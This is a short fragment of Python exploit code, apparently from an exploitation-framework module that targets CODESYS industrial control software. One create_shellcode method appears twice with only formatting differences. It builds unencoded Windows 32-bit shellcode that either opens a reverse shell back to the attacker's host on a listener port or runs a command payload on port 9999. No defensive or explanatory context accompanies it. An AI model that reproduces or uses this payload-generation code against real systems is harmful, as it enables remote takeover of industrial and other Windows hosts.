def create_shellcode(self): self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname()) if self.args['listener']: shellcode_type = 'reverse' port = int(self.args['listener']['PORT']) else: port = 9999 shellcode_type = 'command' self.CONNECTBACK_PORT = port os_system = os_target = 'WINDOWS' os_arch = '32bit' s = OSShellcodes(os_target, os_arch, self.CONNECTBACK_IP, self.CONNECTBACK_PORT) s.TIMESTAMP = 'codesys' shellcode = s.create_shellcode(shellcode_type, encode=0, debug=1) return shellcode
def create_shellcode(self): self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname()) if self.args['listener']: shellcode_type = 'reverse' port = int(self.args['listener']['PORT']) else: port = 9999 shellcode_type = 'command' self.CONNECTBACK_PORT = port os_system = os_target = 'WINDOWS' os_arch = '32bit' s = OSShellcodes(os_target, os_arch, self.CONNECTBACK_IP, self.CONNECTBACK_PORT) s.TIMESTAMP = 'codesys' shellcode = s.create_shellcode( shellcode_type, encode=0, debug=1 ) return shellcode